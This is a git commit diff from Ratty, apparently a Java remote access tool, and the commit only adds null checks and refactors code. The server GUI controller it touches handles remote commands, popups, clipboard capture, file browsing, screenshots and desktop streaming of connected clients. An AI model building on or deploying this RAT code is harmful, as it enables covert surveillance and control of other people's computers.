Browse Source

Minor changes

Fixed a small bug
master
Sogomn 9 years ago
parent
commit
aed477cf05
  1. 9
      Ratty/src/de/sogomn/rat/packet/CommandPacket.java
  2. 9
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  3. 12
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

9
Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@ -85,9 +85,14 @@ public final class CommandPacket extends AbstractPingPongPacket {
public static CommandPacket create() {
final String input = JOptionPane.showInputDialog(null);
final CommandPacket packet = new CommandPacket(input);
return packet;
if (input != null) {
final CommandPacket packet = new CommandPacket(input);
return packet;
} else {
return null;
}
}
}

9
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -49,9 +49,14 @@ public final class PopupPacket implements IPacket {
public static PopupPacket create() {
final String input = JOptionPane.showInputDialog(null);
final PopupPacket packet = new PopupPacket(input);
return packet;
if (input != null) {
final PopupPacket packet = new PopupPacket(input);
return packet;
} else {
return null;
}
}
}

12
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -67,7 +67,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} else if (command == RattyGui.CLIPBOARD) {
return new ClipboardPacket();
} else if (command == FileTreePanel.REQUEST) {
final String path = serverClient.getTreePanel().getLastPathClicked();
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final FileSystemPacket packet = new FileSystemPacket(path);
return packet;
@ -90,6 +91,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
displayPanel.showFrame(frame, screenWidth, screenHeight);
serverClient.client.addPacket(request);
}
@ -111,6 +113,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
serverClient.logIn(name, os, version);
serverClient.setController(this);
gui.addTableRow(id, name, address, os, version);
}
@ -124,10 +127,13 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
handle(serverClient, screenshot);
} else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) {
} else if (packet instanceof DesktopStreamPacket) {
final boolean streamingDesktop = serverClient.isStreamingDesktop();
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
handle(serverClient, stream);
if (streamingDesktop) {
handle(serverClient, stream);
}
} else if (packet instanceof FileSystemPacket) {
final FileSystemPacket file = (FileSystemPacket)packet;

Loading…
Cancel
Save